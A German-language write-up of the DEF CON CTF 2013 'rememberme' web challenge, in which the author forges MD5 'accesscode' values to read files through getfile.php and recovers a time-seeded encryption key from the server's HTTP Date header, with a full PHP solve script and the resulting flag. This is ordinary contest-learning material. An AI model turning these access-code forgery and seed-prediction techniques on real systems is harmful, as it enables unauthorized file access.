DEF CON CTF 2013 – rememberme

DEFCON CTF 2013 - rememberme - task description

Diese Challenge (rememberme) nennt wieder nur eine Webseite, die wir für einen ersten Eindruck direkt besuchen.

DEFCON CTF 2013 - rememberme - website

Die Seite selbst verlinkt zwei Dateien und bietet einen Login an, den wir jedoch ohne Zugangsdaten nicht nutzen können. Beim Aufruf der Datei “usernames.txt” kann man folgendes erkennen:

DEFCON CTF 2013 - rememberme - usernames.txt

Neben den Benutzernamen fällt hier jedoch besonders die URL mit dem Parameter “accesscode” auf. Der Hash-Wert dieses Parameters entspricht im vorliegenden Fall, der folgenden Berechnung:

rup0rt@lambda:~$ echo "usernames.txt" | md5sum
60635c6862d44e8ac17dc5e144c66539

Es handelt sich demnach beim “accesscode” nur um die MD5-Prüfsumme des Dateinames. Mit diesem Wissen sollten sich nun auch andere Dateien, zum Beispiel die “getfile.php” Datei selbst, auslesen.

defcon2013-rememberme-getfile

Man erkennt, dass die Dateien “getfile.php”, “index.html”, “key.txt”, “passwords.txt” und “usernames.txt” ausgeladen werden dürfen. Wir haben damit bereit unsere Zieldatei “key.txt” identifizieren können!

Wenn jedoch versucht wird diese Datei auszulesen, wird zusammen gefasst folgender Quellcode ausgeführt:

$value = time();
$key = rand();

$data = file_get_contents("key.txt");

$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);

echo base64_encode($ciphertext);

Der Inhalt der Datei “key.txt” wird damnach nur verschlüsselt ausgegeben. Der Schlüssel zur Verschlüsselung entspricht dabei einem Zufallswert (Zeile 2). Der Zufallszahlengenerator wird jedoch nur mit dem aktuellen Unix Time Stamp initialisiert (Zeile 1).

Wenn wir also an die aktuelle Serverzeit gelangen könnten und somit an den Unix Time Stamp, dann kennen wir den Wert, mit dem Zufallszahlengenerator initialisiert wurde. Damit kennen wir auch den Wert, der beim ersten Abrufen einer Zufallszahl ausgegeben wird.

An die Serverzeit können wir zum Beispiel über den Apache-Webserver gelangen, indem wir uns die HTTP-Header ansehen. Zum Beispiel so:

rup0rt@lambda:~$ curl -i http://rememberme.shallweplayaga.me
HTTP/1.1 200 OK
Date: Sun, 16 Jun 2013 05:42:53 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Thu, 13 Jun 2013 13:50:00 GMT
ETag: "207ca-152-4df09680c5846"
Accept-Ranges: bytes
Content-Length: 338
Vary: Accept-Encoding
Content-Type: text/html
X-Pad: avoid browser bug

Diese Serverzeit kann nun mit dem Kommando “date” in den Unix Time Stamp umgewandelt werden:

rup0rt@lambda:~$ date -d "Sun, 16 Jun 2013 05:42:53 GMT" +%s
1371361373

Wenn wir diese Abfrage ungefähr zur selben Zeit unternehmen, in der der Server den Inhalt der Datei “key.txt” verschlüsselt, können wir den selben Schlüssel verwenden. Das gesamte Verfahren habe ich in folgendes PHP-Skript implementiert:

#!/usr/bin/php
<?php

  $header = exec("curl -s -i http://rememberme.shallweplayaga.me/ | grep 'Date:'");
  $date = substr($header, 6, strlen($header)-6);
  $value = exec("date -d '$date' +%s");
  print "Seed: $value\n";

  $crypt = exec("curl -s 'http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453' | grep 'Acces granted to key.txt!'");
  $data64 = substr($crypt, strrpos($crypt, '<br>')+4, strlen($crypt)-strrpos($crypt, '<br>')-7-4);
  $data = base64_decode($data64);
  print "Data: $data64\n";

  srand($value);
  $key = rand();
  $flag = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
  print "Flag: $flag\n";

?>

Wenn wir dieses Skript nun ausführen, erhalten wir diese Ausgabe:

rup0rt@lambda:~$ ./rememberme.php
Seed: 1371498939
Data: ndycmvsQccxleFlWzMO4VdiqUMUJ0gezaP28qj2FPYpVwdHAKv+b3BlBITQKlxEET5QlWUCLjf1H45Ksr6xEYQ==
Flag: The key is: To boldly go where no one has gone before WMx8reNS

Die Lösung lautet somit “To boldly go where no one has gone before WMx8reNS“.

Leave a Reply

Your email address will not be published. Required fields are marked *